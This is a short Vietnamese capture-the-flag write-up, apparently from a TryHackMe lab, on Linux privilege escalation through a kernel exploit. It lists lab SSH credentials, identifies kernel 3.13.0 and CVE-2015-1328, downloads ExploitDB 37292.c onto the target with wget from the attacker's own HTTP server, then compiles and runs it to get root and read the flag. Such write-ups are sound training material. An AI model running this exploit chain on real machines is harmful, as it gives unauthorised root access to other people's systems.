Description

Linux Privilege Escalation - Kernel Exploits

Leo thang đặc quyền bằng lỗ hổng của kernel và đọc flag ở trong /home/matt/flag1.txt.

Approach

Đầu tiên ta kết nối đến target machine thông qua SSH với username là karen và password là Password1.

Sau đó kiểm tra version của kernel:

cat /proc/version

Nhận thấy kernel có phiên bản 3.13.0, tìm kiếm trên ExploitDB thì ta thu được một lỗ hổng có CVE là CVE-2015-1328.

Ta tải exploit (tập tin có tên là 37292.c) về và host một http server ở thư mục chứa exploit đó:

python3 -m http.server 8000

Ở bên target machine, ta tải exploit về vào thư mục /tmp:

cd /tmp
wget http://IP:8000/37292.c

Biên dịch exploit:

gcc 37292.c -o 37292

Kiểm tra quyền và nhóm của người dùng hiện tại:

id

Chạy exploit:

./37292

Chạy lệnh id lần nữa sẽ thấy ta đã có quyền root.

Đọc tập tin /home/matt/flag1.txt và ta có được flag.

Flag

Success

THM-28392872729920